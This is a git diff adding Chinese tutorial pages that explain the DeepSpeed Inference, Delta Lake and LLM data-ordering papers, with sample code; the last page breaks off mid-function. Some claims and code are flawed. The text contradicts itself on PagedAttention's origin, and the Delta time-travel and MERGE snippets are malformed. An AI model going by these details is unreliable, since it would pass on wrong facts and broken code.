+1. **Prefill（预填充）**：一次性处理你的整个输入 prompt，计算第一次的注意力。这步可以并行，相对快。
+2. **Decode（解码）**：一个字一个字地生成输出。每个新字都依赖前面所有的字，所以只能串行。这才是真正的瓶颈。
+
+类比：Prefill 像考试时你一次性读完所有阅读理解文章，Decode 像你要逐题作答——每题的答案都依赖上一题的理解，没法跳着做。
+
+核心瓶颈是 **Memory Wall**：GPU 的计算能力（TFLOPS）增长远快于显存带宽（GB/s）。模型越大，从显存里读参数的时间就越长，GPU 大部分时间在"等数据"而不是"算数据"。
+
+## 三、DeepSpeed Inference 的两大核心方案
+
+论文提出了两个层面的解决方案：
+
+### 3.1 多 GPU 推理（模型能放进所有 GPU 的总显存）
+
+当模型太大、单张 GPU 放不下，但可以分散到多张 GPU 上时，DeepSpeed Inference 做了这些事：
+
+- **Tensor Parallelism（张量并行）**：把矩阵运算拆到多张卡上各自算一部分，再合并结果。就像一群人各算一道大题的不同小题，最后对答案。
+- **Pipeline Parallelism（流水线并行）**：把模型的层按顺序分配到不同 GPU，数据像流水线一样流过。
+- **KV Cache 压缩**：推理中 Attention 机制需要保存之前所有 token 的 Key-Value 向量（KV Cache）。随着对话变长，这部分占用的显存线性增长。论文用了量化（Quantization）来压缩它。
+
+### 3.2 异构推理（模型大到连多 GPU 总显存都放不下）
+
+当模型达到百亿甚至万亿参数级别时，连多 GPU 加起来也装不下。这时候 DeepSpeed Inference 引入了 CPU 内存和 NVMe 存储：
+
+- 把模型参数分层存放：热数据在 GPU 显存，温数据在 CPU 内存，冷数据在 NVMe SSD
+- 智能预取：预测哪些参数接下来会被用到，提前从 NVMe 搬到 GPU
+- 这就像厨房里的"三级储物"：最常用的调料放手上（GPU），不太常用的放抽屉（CPU RAM），半年用一次的放储藏室（NVMe）
+
+## 四、关键技术拆解
+
+### 4.1 推理量化（Inference Quantization）
+
+这是 DeepSpeed Inference 最核心的优化之一。
+
+训练时我们用 FP16（半精度浮点数，16 位）来存参数。推理时可以进一步压缩到 INT8（8 位整数），甚至更低。这样显存占用直接减半，读取速度翻倍。
+
+关键挑战：直接量化会导致精度下降。论文用了 SmoothQuant 的思想，把量化的难度从激活值（难以统计分布）转移到权重上（可以离线统计），从而保持精度。
+
+### 4.2 通信优化
+
+在多 GPU 场景下，GPU 之间需要频繁交换数据。传统做法是用 All-Reduce，但 DeepSpeed Inference 做了针对性优化：
+
+- **算通重叠（Compute-Communication Overlap）**：一边算一边传，不等上一批传完再算下一批。就像厨师一边炒菜一边让助手递盘子。
+- **拓扑感知路由**：根据 GPU 之间的实际连接速度（NVLink vs PCIe）来智能分配任务。
+
+## 五、代码示例
+
+### 示例 1：使用 DeepSpeed Inference 部署模型
+
+```python
+import deepspeed
+import transformers
+
+# 1. 加载 HuggingFace 模型（以 LLaMA-7B 为例）
+model = transformers.AutoModelForCausalLM.from_pretrained(
+    "meta-llama/Llama-2-7b",
+    torch_dtype="auto",
+    device_map="auto"
+)
+
+tokenizer = transformers.AutoTokenizer.from_pretrained("meta-llama/Llama-2-7b")
+
+# 2. 用 DeepSpeed Inference 包装模型
+# inference_config 里可以开启量化、多 GPU 分布式等
+inference_config = {
+    "tensor_parallel": 4,        # 用 4 张 GPU 做张量并行
+    "dtype": "fp16",             # 使用半精度
+    "enable_cuda_graph": True,   # 启用 CUDA Graph 加速小 batch
+    "replace_with_kernel_inject": True  # 用 DeepSpeed 的内建算子替换
+}
+
+model = deepspeed.init_inference(
+    model,
+    config=inference_config,
+    mp_size=4,                   # 模型并行大小 = GPU 数量
+    dtype=torch.float16,
+    max_out_tokens=512           # 最大生成长度
+)
+
+# 3. 推理
+inputs = tokenizer("今天天气真好，我想", return_tensors="pt").to("cuda")
+outputs = model.generate(**inputs, max_new_tokens=100, do_sample=True)
+result = tokenizer.decode(outputs[0], skip_special_tokens=True)
+print(result)
+```
+
+### 示例 2：开启 KV Cache 量化以节省显存
+
+```python
+import deepspeed
+from deepspeed.inference.v2 import InferenceEngineConfig
+
+# 配置异构推理：让大模型跑在小机器上
+config = InferenceEngineConfig(
+    tensor_parallel=2,           # 2 卡并行
+    quantize=True,               # 开启量化
+    quantize_params_backend="nvme",  # 量化后的参数存在 NVMe 上
+    max_out_tokens=1024,         # 最大输出长度
+    enable_cuda_graph=True,      # CUDA Graph 减少 kernel 启动开销
+)
+
+# 从 DeepSpeed checkpoint 加载并构建推理引擎
+engine = deepspeed.init_inference(
+    "/path/to/model/checkpoint",
+    config=config,
+    mp_size=2,
+    dtype=torch.float16,
+)
+
+# 批量推理（高吞吐场景）
+prompts = [
+    "请解释量子计算的原理",
+    "写一首关于春天的诗",
+    "Python 中装饰器怎么用",
+]
+
+inputs = tokenizer(prompts, return_tensors="pt", padding=True).to("cuda")
+outputs = engine.generate(**inputs, max_new_tokens=256)
+
+for i, prompt in enumerate(prompts):
+    print(f"Q: {prompt}")
+    print(f"A: {tokenizer.decode(outputs[i], skip_special_tokens=True)}\n")
+```
+
+## 六、论文的关键数据
+
+| 指标 | DeepSpeed Inference | 对比基线 | 提升 |
+|------|---------------------|----------|------|
+| 延迟（延迟敏感场景） | — | SOTA | 降低至 1/7.3（即快 7.3 倍） |
+| 吞吐（吞吐敏感场景） | — | SOTA | 提升 1.5 倍以上 |
+| 支持的模型规模 | 万亿参数 | GPU-only 方案 | 大 25 倍 |
+| 吞吐性能 | 84 TFLOPS | A6000 峰值的 50%+ | — |
+
+关键数字：能用数百张 GPU 实时推理万亿参数模型——这在 2022 年是前所未有的。
+
+## 七、与后来者的关系
+
+DeepSpeed Inference 提出的很多思想被后续项目继承和发展：
+
+- **vLLM**：继承了 PagedAttention 的思想来管理 KV Cache，但更专注于纯 GPU 场景，不做异构推理
+- **TensorRT-LLM**：NVIDIA 的方案，侧重极致优化单卡/多卡推理，但不支持 CPU/NVMe 卸载
+- **SGLang**：引入了 RadixAttention 来缓存和管理 KV Cache
+
+DeepSpeed Inference 的独特价值在于：**它是少数同时覆盖多 GPU 分布式 + CPU/NVMe 异构卸载的方案**，适合那些模型大到连多 GPU 都装不下的场景。
+
+## 八、学习要点总结
+
+1. Transformer 推理的瓶颈不在"算得慢"，而在"等数据"——Memory Wall 是核心矛盾
+2. 量化（FP16 → INT8）能在几乎不损失精度的前提下大幅减少显存占用
+3. 多 GPU 推理的核心思路是张量并行 + 流水线并行 + 通信优化
+4. 异构推理通过 GPU/CPU/NVMe 三级存储层次，让超大模型也能跑起来
+5. KV Cache 是推理过程中隐形的显存杀手，需要专门的压缩和分页策略
+
+## 九、下一步
+
+- 动手装一个 DeepSpeed，用 `deepspeed.init_inference` 跑一个小模型试试
+- 对比一下 vLLM 和 DeepSpeed Inference 在同一模型上的延迟/吞吐差异
+- 了解 PagedAttention（vLLM 的核心创新）是如何管理 KV Cache 的
diff --git a/src/content/docs/papers/delta-lake-2020.md b/src/content/docs/papers/delta-lake-2020.md
new file mode 100644
index 000000000..68d1db77c
--- /dev/null
+++ b/src/content/docs/papers/delta-lake-2020.md
@@ -0,0 +1,280 @@
+---
+title: Delta Lake: 在云对象存储之上实现高性能 ACID 表存储
+来源: https://www.vldb.org/pvldb/vol13/p3411-armbrust.pdf
+日期: 2026-06-13
+分类: 数据库
+子分类: 现代数据库
+provenance: pipeline-v3
+---
+
+# Delta Lake：给云对象存储穿上 ACID 事务外套
+
+## 一、从"共享文件柜"说起：云存储的尴尬
+
+想象一家大型公司，有一面占了整堵墙的文件柜（这就是云对象存储，比如 Amazon S3）。每个员工都可以随时往里放文件、往外取文件。
+
+这个文件柜有两个优点：
+
+1. 容量极大，扩容几乎免费
+2. 文件和柜子完全独立——你可以今天存 1PB，明天只开 2 台电脑查它
+
+但问题也随之而来。假设三个员工同时操作：
+
+- A 员工把 100 份文件从"2023年"文件夹移到"2024年"文件夹，结果搬了一半系统崩溃了
+- B 员工正好在那一刻去"2024年"找文件，发现只有部分文件到位了
+- C 员工查到的结果和 D 员工查到的结果不一样
+
+在传统数据库里，这叫**缺乏 ACID 事务保证**。ACID 是四个英文单词的首字母：
+
+- **A**tomicity（原子性）：要么全做完，要么全不做
+- **C**onsistency（一致性）：操作前后数据都处于合法状态
+- **I**solation（隔离性）：多人同时操作不会互相干扰
+- **D**urability（持久性）：提交后就永久保存，不会丢
+
+云对象存储（S3、Azure Blob 等）本身**不是数据库**，它只管存二进制文件，不管这些文件组成了一张什么表。Delta Lake 的诞生，就是给这面文件柜加一套"事务管理规则"。
+
+> 一句话总结：Delta Lake = Parquet 文件 + 一个事务日志（transaction log），让云对象存储拥有了数据库级别的管理能力。
+
+## 二、核心概念
+
+### 2.1 两种核心组件
+
+Delta Lake 的每张表由两部分组成：
+
+```
+s3://my-bucket/my-table/
+├── _delta_log/          ← 事务日志目录
+│   ├── 00000000.json    ← 版本 0 的日志
+│   ├── 00000001.json    ← 版本 1 的日志
+│   ├── 00000002.json    ← 版本 2 的日志
+│   ├── 00000000.checkpoint.parquet  ← 检查点（加速读取）
+│   └── _last_checkpoint ← 最新检查点 ID
+├── date=2024-01-01/     ← 按日期分区的数据
+│   └── abc-123.parquet
+├── date=2024-01-02/
+│   └── def-456.parquet
+└── date=2024-01-03/
+    └── ghi-789.parquet
+```
+
+- **数据文件（Data Objects）**：实际数据以 Parquet 格式存储。Parquet 是一种列式存储格式，适合分析查询。
+- **事务日志（Transaction Log）**：记录每次变更（添加文件、删除文件、修改元数据），以 JSON 格式存放，ID 按顺序递增。
+
+### 2.2 事务日志长什么样
+
+每个 `.json` 文件记录了一次变更，包含以下操作类型：
+
+- `add`：往表里新增一个 Parquet 文件，附带统计信息（行数、每列的最大/最小值、空值计数）
+- `remove`：标记某个文件已移除（物理删除延迟执行）
+- `metaData`：修改表的元数据，比如 schema 变更
+- `txn`：支持精确一次（exactly-once）的流写入
+
+举个例子，版本 3 的日志 `00000003.json` 可能长这样：
+
+```json
+{
+  "add": {
+    "path": "date=2024-01-03/ghi-789.parquet",
+    "size": 1048576,
+    "modificationTime": 1704067200000,
+    "stats": "{\"numRecords\":100000,\"minValues\":{\"amount\":0.5},\"maxValues\":{\"amount\":9999.9}}"
+  }
+}
+```
+
+### 2.3 乐观并发控制
+
+Delta Lake 用**乐观并发控制**（Optimistic Concurrency Control）解决多写者冲突：
+
+- 每个写者拿到下一个可用的日志 ID，尝试以原子操作写入 `XXXX.json`
+- 如果写入时发现这个 ID 已被别人占用（即"版本冲突"），就回退重试
+- 这个过程不需要专门的元数据服务器——全部依赖对象存储的原语（put-if-absent 或条件写入）
+
+这意味着**零额外服务成本**：不用部署专门的元数据服务，不用维护额外的数据库。
+
+### 2.4 检查点（Checkpoint）
+
+随着版本增多，从头重放所有 JSON 日志会很慢。Delta Lake 定期把日志压缩成一个 Parquet 检查点文件，读取时先跳到最近检查点，再重放后面的少量 JSON 即可。
+
+---
+
+## 三、代码示例
+
+### 示例 1：创建表并写入数据
+
+```python
+# 用 PySpark 创建 Delta 表
+from pyspark.sql import SparkSession
+
+spark = SparkSession.builder \
+    .appName("DeltaLakeDemo") \
+    .config("spark.sql.extensions", "io.delta.sql.DeltaSparkSessionExtension") \
+    .config("spark.sql.catalog.spark_catalog", "org.apache.spark.sql.delta.catalog.DeltaCatalog") \
+    .getOrCreate()
+
+# 写入数据并创建 Delta 表（自动变成 ACID 表）
+data = [
+    ("2024-01-01", "Alice", 5000.0),
+    ("2024-01-01", "Bob", 3200.0),
+    ("2024-01-02", "Alice", 4800.0),
+    ("2024-01-02", "Charlie", 6100.0),
+]
+
+df = spark.createDataFrame(data, ["date", "name", "salary"])
+
+df.write.format("delta") \
+    .mode("overwrite") \
+    .partitionBy("date") \
+    .save("/tmp/delta/employees")
+```
+
+此时 Delta 的底层结构自动变成：
+
+```
+/tmp/delta/employees/
+├── _delta_log/
+│   ├── 00000000.json    ← 记录了两批文件（1月1日和1月2日）的 add 操作
+│   └── 00000001.checkpoint.parquet
+├── date=2024-01-01/
+│   ├── part-00000-xxx.parquet
+│   └── part-00001-xxx.parquet
+└── date=2024-01-02/
+    ├── part-00000-xxx.parquet
+    └── part-00001-xxx.parquet
+```
+
+### 示例 2：Upsert（更新已存在 + 插入新记录）
+
+这是传统 Parquet 做不到的。传统方式只能"追加文件"，不能修改已有数据。Delta 用 MERGE 一条命令搞定：
+
+```python
+# 假设收到了新的工资数据，需要更新 Alice 和 Bob 的工资
+new_data = [
+    ("2024-01-01", "Alice", 5500.0),  # Alice 加薪了
+    ("2024-01-01", "David", 4100.0),  # 新同事 David
+]
+
+new_df = spark.createDataFrame(new_data, ["date", "name", "salary"])
+
+# MERGE：如果 name + date 匹配就更新（UPDATE），不匹配就插入（INSERT）
+new_df.write.format("delta") \
+    .mode("append") \
+    .option("mergeSchema", "true") \
+    .saveAsTable("employees")
+
+# 执行 MERGE 操作
+spark.sql("""
+    MERGE INTO employees
+    USING new_data
+    ON employees.name = new_data.name AND employees.date = new_data.date
+    WHEN MATCHED THEN
+        UPDATE SET salary = new_data.salary
+    WHEN NOT MATCHED THEN
+        INSERT *
+""")
+```
+
+执行后，Delta 日志会追加一条记录，里面包含：
+- `remove` 旧版 Parquet 文件（Alice 原工资记录）
+- `add` 新版 Parquet 文件（Alice 新工资记录 + David 的新记录）
+
+对读者来说，这是一次**原子切换**——要么看到旧数据全貌，要么看到新数据全貌，永远不会看到"半更新"的中间状态。
+
+### 示例 3：时间旅行（Time Travel）
+
+因为每个版本都完整保存在日志中，你可以"穿越"回过去任意一个版本：
+
+```python
+# 查询 3 天前的数据快照
+spark.sql("SELECT * FROM employees VERSION AS OF 2024-01-01")
+
+# 或者用版本号
+spark.sql("SELECT * FROM employees VERSION AS OF 3")
+
+# 查询某个路径的历史版本
+spark.sql("""
+    SELECT * FROM "/tmp/delta/employees"
+    TIMESTAMP AS OF '2024-01-01 00:00:00'
+""")
+```
+
+---
+
+## 四、论文讲的核心创新点
+
+| 问题 | 传统方式 | Delta Lake |
+|------|---------|-----------|
+| 多文件原子更新 | 做不到，部分成功就会留下脏数据 | 事务日志保证原子性 |
+| 查询大分区数 | S3 LIST 操作慢，百万分区要几十分钟 | 日志里的统计信息直接过滤 |
+| 更新/删除数据 | 需要重写整个表 | MERGE 只改受影响的文件 |
+| 审计追踪 | 没有 | 日志天然记录每次变更 |
+| 流写入+批量读取 | 需要额外消息队列（Kafka） | Delta 表本身即可充当消息总线 |
+| 数据优化 | 手动重组文件 | OPTIMIZE 命令自动重组 |
+
+论文通过实验证明了几组关键数据：
+
+- **百万分区查询**：传统 Hive 在 1 万分区时查询超过 1 小时；Delta Lake 在 100 万分区时只需 108 秒，SSD 缓存下仅 17 秒
+- **Z-Order 排序**：通过 Z-Order 多维排序，Parquet 文件跳过率从 0-47% 提升到 67-99%
+- **TPC-DS 性能**：Delta 格式在 Databricks 运行比第三方云厂商的 Spark/Presto 快 1.44-3.76 倍
+- **写入性能**：Delta 写入时间与直接写 Parquet 基本持平
+
+---
+
+## 五、设计取舍
+
+论文也坦诚了几个限制：
+
+1. **事务仅限单表**：目前不能跨表做原子事务，因为每张表有独立日志。扩展到多表需要跨表协调。
+2. **写事务速率受限**：依赖对象存储的 put-if-absent 操作，延迟几十到几百毫秒，每秒几个到几十个事务。对大多数 ETL/流处理够用，但不适合高并发 OLTP。
+3. **不支持二级索引**：除了文件级别的 min/max 统计信息，目前没有传统数据库那种 B+ 树索引。论文提到正在原型实现 Bloom Filter 索引。
+4. **流延迟在秒级**：受对象存储读写延迟限制，很难做到毫秒级流处理。但对批流一体的分析场景足够。
+
+---
+
+## 六、"湖仓一体"（Lakehouse）的概念
+
+论文提出了一个影响深远的新概念——**Lakehouse**。
+
+传统架构是"双轨制"：
+- **数据湖**（原始 Parquet 文件）：便宜但缺乏管理能力
+- **数据仓库**（Snowflake / BigQuery）：功能强大但成本高、数据要搬迁
+
+Lakehouse 用 Delta Lake 把两者统一：
+- 数据留在便宜的云对象存储（湖的优势）
+- 通过事务日志获得数据仓库级别的管理能力（仓的优势）
+
+这就是为什么论文标题里的 "ACID table storage over cloud object stores" 不仅仅是一个技术细节，而是**用最低成本把云存储变成了数据库**。
+
+---
+
+## 七、关键术语速查
+
+| 术语 | 含义 |
+|------|------|
+| ACID | 原子性、一致性、隔离性、持久性——数据库事务的四大保证 |
+| Parquet | 列式存储格式，适合分析查询，压缩率高 |
+| 事务日志 | 记录表每次变更的 JSON 文件序列 |
+| 检查点 | 把日志压缩成 Parquet 文件，加速读取 |
+| 乐观并发控制 | 先执行，冲突了再重试的并发策略 |
+| Put-if-absent | 对象存储的原子写入：文件不存在时才写入 |
+| Z-Order | 一种多维数据排序方法，提升查询过滤效率 |
+| Lakehouse | 数据湖 + 数据仓库的统一架构 |
+| CDC（Change Data Capture） | 捕获数据变更流，Delta 支持通过 MERGE 做 CDC |
+| 时间旅行 | 查询表在过去任意时间点的状态 |
+
+---
+
+## 八、学习思考
+
+论文最让我有启发的设计哲学是：**元数据也存到对象存储里**。
+
+大多数数据库会把元数据放在专门的元数据服务（比如 Hive Metastore）里。Delta Lake 反其道而行——事务日志本身就是一份"元数据文件"，和其他 Parquet 数据文件一起存在 S3 里。
+
+这个决定的好处是：
+- 不需要维护任何额外的服务
+- 存储和计算彻底解耦——计算节点挂了重启后，从对象存储读取日志就能恢复
+- 任何能读 Parquet 的引擎都能直接读 Delta 表
+
+代价是：元数据操作（如 LIST）的延迟较高，论文通过**检查点压缩**和**SSD 缓存**两个方案缓解。
+
+这就是"用简单设计换取运维成本"的典型范式。当你的数据规模到了 PB 级，少维护一个系统的价值，可能远超几秒的查询延迟差异。
diff --git a/src/content/docs/papers/delta-lake-2020.pdf b/src/content/docs/papers/delta-lake-2020.pdf
new file mode 100644
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diff --git a/src/content/docs/papers/demystifying-data-org.md b/src/content/docs/papers/demystifying-data-org.md
new file mode 100644
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@@ -0,0 +1,353 @@
+---
+title: Demystifying Data Organization for Enhanced LLM Training — 用「排课表」而不是「删题目」提升大模型训练
+来源: https://arxiv.org/abs/2605.30334
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：同一套题库，顺序决定期末成绩
+
+想象你是一位高中班主任，手里有一份 **已经筛好的** 模拟卷题库（每条样本都有「难度/质量分」），学期只剩 **一轮完整刷题**（对应 LLM 常见的 **1 epoch 预训练**）——每道题只能做一遍，不能像以前那样简单题反复刷到吐。
+
+你会怎么排课？
+
+| 日常做法 | 对应训练策略 | 常见后果 |
+|---------|-------------|---------|
+| 题目打乱随机发 | Random 随机顺序 | 稳定但平庸，边界阶段（开学/期末）没有针对性 |
+| 从易到难一路推 | Curriculum Learning (CL) | 前期学得快，后期全做难题时 **忘记基础**（论文用低分样本 PPL 反弹验证） |
+| 期末突击全上难题 | 训练末尾全是低分样本 | 最终性能停滞（SEG(h90) 类配置） |
+| 期中把简单题再插回来 | Baby Step / 显式 replay | 有效但 **数据量翻倍**，LLM 规模下不现实 |
+| 开学稳、期末冲、过渡平滑、每节课题型混搭 | 本文四条 Guidances + STR/SAW | **不增数据、几乎不增算力**，只改顺序 |
+
+论文的核心洞察：**选什么题（Data Selection）** 和 **什么顺序做（Data Organization）** 是两件不同的事。工业界已经为筛选数据算过一遍 sample-level score（FineWeb-Edu 的教育分、QuRated 的多维质量分等），但这些分数通常 **筛完就扔**。本文说：同一份 $\bm{\gamma}$ 再排一次序，几乎是 **零额外成本** 的性能杠杆。
+
+---
+
+## 这篇论文在解决什么问题
+
+### 1. 背景：LLM 训练是「单次过堂」
+
+现代 LLM 常在 **数十亿 token 上只训 1～几个 epoch**（Llama、Qwen 等）。在这种 regime 下：
+
+- 每个样本在训练生命周期里 **曝光次数有限**；
+- **时间顺序** 成为塑造优化轨迹的一阶因素，而不只是「有没有这条数据」；
+- 传统 Curriculum Learning 假设可以多次 revisit 简单样本，与 LLM 现实 **不匹配**。
+
+### 2. 与相邻工作的关系
+
+| 方向 | 代表 | 本文差异 |
+|------|------|---------|
+| 数据筛选 | FineWeb-Edu、QuRating、DSIR | 分数用于 **subset 选择** 后即丢弃 |
+| 课程学习 | Bengio CL | 单调 easy→hard，易遗忘 |
+| 折叠复习 | DELT (Dai et al., 2025a) | 有启发，但缺系统化 guidance |
+| **数据组织** | **本文** | 四条原则 + STR/SAW，复用已有分数 |
+
+### 3. 形式化：三阶段流水线
+
+设原始数据集 $\mathcal{D}=\{x_1,\ldots,x_{|\mathcal{D}|}\}$。
+
+**阶段 A — 打分（Data Scoring）**
+
+$$
+\bm{\gamma} = g(\mathcal{D}) = [\gamma_1, \gamma_2, \ldots, \gamma_{|\mathcal{D}|}]^\top
+$$
+
+$\gamma_i$ 可以是质量、难度、可学习性、教育价值等——论文直接 **复用** 数据效率文献里已有的分数。
+
+**阶段 B — 筛选（Data Selection，可选）**
+
+$$
+\mathcal{D}_{\text{sub}} = f_s(\mathcal{D}; \bm{\gamma}, K), \quad K = \lfloor R \cdot |\mathcal{D}| \rfloor
+$$
+
+保留 score 排名前 $K$ 的样本，**改变规模，不决定顺序**。
+
+**阶段 C — 组织（Data Organization，本文核心）**
+
+$$
+\mathcal{D}_{\text{ord}} = f_o(\mathcal{D}; \bm{\gamma}) = [x_{\pi(1)}, x_{\pi(2)}, \ldots, x_{\pi(n)}]
+$$
+
+只施加排列 $\pi$，**不改变集合大小**。完整训练集：
+
+$$
+\mathcal{D}_{\text{train}} = f_o\bigl(f_s(\mathcal{D}; \bm{\gamma}, K); \bm{\gamma}\bigr)
+$$
+
+**特例**：经典 CL 就是 $f_o$ 按 $\gamma$ **升序** 排列，得到 $\mathcal{D}_{\text{sort}}$。
+
+---
+
+## 四条 Guidances（G1–G4）
+
+论文通过大量 ablation 归纳出四条可组合的组织原则，每条都有对应实现模块。
+
+### G1：Boundary Sharpening（边界锐化）
+
+**直觉**：训练 **开头** 和 **结尾** 看到的数据分布，对收敛和最终能力影响极大。
+
+- **开头**：先用 **低分（简单、低信息密度）** 样本，稳定早期优化（类似 learning rate warmup 的数据侧版本）。
+- **结尾**：用 **高分（复杂、高质量）** 样本收尾，把模型能力「对齐」到下游推理任务。
+
+**实现 — SEG（Segment Ordering）**：把 $\mathcal{D}_{\text{sort}}$ 按百分位切成 $L$ 段 $\mathcal{D}_0,\ldots,\mathcal{D}_{L-1}$，段内 shuffle，再拼接。例如 SEG(l10-h10) 表示低分起步、高分收尾。
+
+**实验结论（FineWeb-Edu, Mistral-160M）**：
+
+- 结尾是高分 → 普遍增益（如 SEG(l10-h10) 平均准确率 **38.28%** vs Random **~21.5%**）；
+- 结尾是低分 → 性能停滞（SEG(h90)）；
+- **只在开头堆高分** 几乎无益——固定数据量下，开头挑高分意味着结尾被迫吃低分。
+
+### G2：Cyclic Scheduling（周期调度）
+
+**直觉**：严格单调 CL 在后期全是难题，模型会 **遗忘** 早期简单样本上学到的基础（论文监测最低 10% 分位样本 $D_e$ 的 PPL：CL 先降后 **反弹**，FO 多周期后仍保持低 PPL）。
+
+**实现 — FO（Folding Ordering）**：对排序后的数据做 **步长为 $L$ 的分层抽样**（strided partition）——第 $l$ 层取索引 $i \equiv l \pmod L$ 的样本。每个 folding cycle 覆盖 **全分数谱**，实现 **无 replay 开销的周期性复习**。
+
+### G3：Curriculum Continuity（课程连续性）
+
+**直觉**：分数分布 **突变** 会在 cycle 边界造成 **梯度范数尖峰**（optimizer shock），训练不稳定。
+
+**实现 — ZIG（Zig-zag）**：在过渡区用 zig-zag 机制替代 FO 的折叠，使相邻样本的 score 变化更平滑。FO-3 在 cycle 边界出现 gradient norm spike；ZIG 维持更平稳的优化动态。
+
+### G4：Local Diversity（局部多样性）
+
+**直觉**：严格按分数排序时，连续 batch 内样本过于同质 → **梯度多样性** 下降 → 过拟合特定模式、泛化变差。
+
+**实现 — JIT**：在已排好的序列上，用窗口 $w$ 做局部混洗/交错，在 **不破坏全局课程进度** 的前提下提高 mini-batch 内的 score 方差。JIT 还能让 loss landscape 更 **flat**（权重扰动实验：JIT 模型对噪声更鲁棒）。
+
+---
+
+## 两种综合策略：STR 与 SAW
+
+在四条 guidance 之上，论文给出两个 **可部署** 的排序算法。
+
+### STR（Stair Ordering）— G1 + G2 + G4
+
+1. 将 $\mathcal{D}_{\text{sort}}$ 切成 $K$ 个 section；
+2. **稳定区** $\mathcal{D}^s$：保持单调 score 顺序（全局 easy→hard 趋势，满足 G1）；
+3. **过渡区** $\mathcal{D}^t$（split point 半径 $\rho$ 内）：应用 **FO 折叠**（G2 周期复习）；
+4. 可选 **JIT**（G4）。
+
+形状像 **楼梯**：大段单调上升，台阶转角处折叠复习。
+
+### SAW（Saw Ordering）— G1 + G2 + G3 + G4
+
+STR 的过渡区用 FO 会在区域边界产生 **属性跳变**。SAW 把过渡区的 $f_{\text{FO}}$ 换成 **$f_{\text{ZIG}}$**，强制 smoother transition（G3），其余同 STR。
+
+论文 Figure 1：SAW 的 score–index 热力图比 Random/CL 更 **结构化、渐进**；在 160M–1.7B 各规模上 **稳定优于** Random 与 CL，模型越大增益有时更明显。
+
+**主结果（Table 5, Mistral-160M, 1B tokens FineWeb-Edu）**：
+
+| 方法 | 平均准确率（%） | 启用的 Guidance |
+|------|----------------|-----------------|
+| Random | ~21.5 | — |
+| CL | ~37.1 | 单调课程 |
+| DELT | 基线级 | 折叠 |
+| **STR** | **38.65** | G1+G2+G4 |
+| **SAW** | **38.78** | G1+G2+G3+G4 |
+
+STR 与 SAW 接近：因为 STR 的过渡区折叠范围较窄，剧烈跳变本就较少，G3 的边际收益被压缩。最优配置报告为 **STR-2(JIT)** 与 **SAW-2(JIT)**。
+
+---
+
+## 实验设置速览
+
+| 维度 | 配置 |
+|------|------|
+| 预训练数据 | FineWeb-Edu（主文）、QuRatedPajama（附录）；1B tokens 主实验，50B scaling |
+| 领域 SFT | DeepMath-103K（数学）、OpenCodeInstruct（代码） |
+| 模型 | 预训练 Mistral 架构 160M–1.7B；SFT 用 Qwen3 官方权重 |
+| 分数来源 | FineWeb-Edu 教育分（0–5）；QuRated 四维质量分 |
+| 基线 | Random、CL、DELT |
+| 评估 | 多 benchmark 平均准确率；PPL、梯度范数、scaling law 外推 |
+| 代码 | [microsoft/data-efficacy](https://github.com/microsoft/data-efficacy/) |
+
+Scaling 实验：在 DCLM 上 160M→1.7B，STR/SAW 的 test loss 优势 **随规模保持甚至放大**；用 Chinchilla scaling law 外推到 GPT-3 175B、Llama 3.1 405B 量级，组织数据的收益 **仍然存在**。
+
+---
+
+## 代码示例 1：Folding Ordering（FO，实现 G2）
+
+下面用 Python 演示论文 Algorithm 2 的核心——对 **已按 score 升序排列** 的索引做步长为 $L$ 的分层，再按层拼接。这是 **零额外数据** 的「周期复习」。
+
+```python
+from __future__ import annotations
+
+import numpy as np
+
+
+def folding_order(scores: np.ndarray, num_layers: int) -> np.ndarray:
+    """
+    FO (Folding Ordering): Cyclic Scheduling (G2).
+
+    Args:
+        scores: shape (N,), 每个样本的质量/难度分
+        num_layers: 折叠层数 L
+
+    Returns:
+        order: 长度 N 的索引排列，按 FO 规则组织训练顺序
+    """
+    sorted_idx = np.argsort(scores, kind="stable")  # 低分 -> 高分
+    n = len(sorted_idx)
+    layers: list[list[int]] = [[] for _ in range(num_layers)]
+
+    for rank, sample_id in enumerate(sorted_idx):
+        layer = rank % num_layers
+        layers[layer].append(int(sample_id))
+
+    # 按层拼接：cycle-0, cycle-1, ..., cycle-(L-1)
+    order: list[int] = []
+    for layer in layers:
+        order.extend(layer)
+    return np.array(order, dtype=np.int64)
+
+
+# --- 玩具例子：10 条样本，分数 0..9 ---
+scores = np.arange(10, dtype=float)
+fo2 = folding_order(scores, num_layers=2)
+fo3 = folding_order(scores, num_layers=3)
+
+print("sorted :", np.argsort(scores))
+print("FO-2   :", fo2)  # [0,2,4,6,8, 1,3,5,7,9] — 偶数秩与奇数秩分两 cycle
+print("FO-3   :", fo3)  # 每 3 个秩一层，每层覆盖不同分数段
+```
+
+**读输出**：FO-2 先把排序后的第 0、2、4… 条（覆盖低分到高分）训完一轮，再训第 1、3、5… 条——每个 cycle 都见到 **宽分数谱**，而不是 CL 那样后半段只剩难题。
+
+---
+
+## 代码示例 2：Segment Ordering + JIT 窗口混洗（G1 + G4 骨架）
+
+SEG 实现 G1（分段边界控制）；JIT 在 SEG 或 STR/SAW 输出上增加 G4（局部多样性）。下面给一个 **教学用** 的简化实现：先按百分位分段拼接，再在固定窗口内做 constrained shuffle。
+
+```python
+from __future__ import annotations
+
+import numpy as np
+
+
+def segment_order(
+    scores: np.ndarray,
+    segment_bounds: list[tuple[float, float]],
+    rng: np.random.Generator | None = None,
+) -> np.ndarray:
+    """
+    简化版 SEG (G1): 按分数百分位切段，段内 shuffle，再拼接。
+
+    segment_bounds 例如 [(0.0, 0.1), (0.1, 0.9), (0.9, 1.0)] 对应 SEG(l10-h10) 风格。
+    """
+    rng = rng or np.random.default_rng(0)
+    n = len(scores)
+    sorted_idx = np.argsort(scores, kind="stable")
+    ranks = np.empty(n, dtype=np.int64)
+    ranks[sorted_idx] = np.arange(n)
+
+    segments: list[list[int]] = [[] for _ in segment_bounds]
+    for sample_id, rank in enumerate(ranks):
+        pct = rank / max(n - 1, 1)
+        for seg_id, (lo, hi) in enumerate(segment_bounds):
+            if lo <= pct <= hi or (seg_id == len(segment_bounds) - 1 and pct == 1.0):
+                segments[seg_id].append(sample_id)
+                break
+
+    order: list[int] = []
+    for seg in segments:
+        seg_arr = np.array(seg, dtype=np.int64)
+        rng.shuffle(seg_arr)
+        order.extend(seg_arr.tolist())
+    return np.array(order, dtype=np.int64)
+
+
+def jit_local_shuffle(order: np.ndarray, window: int, rng: np.random.Generator | None = None) -> np.ndarray:
+    """
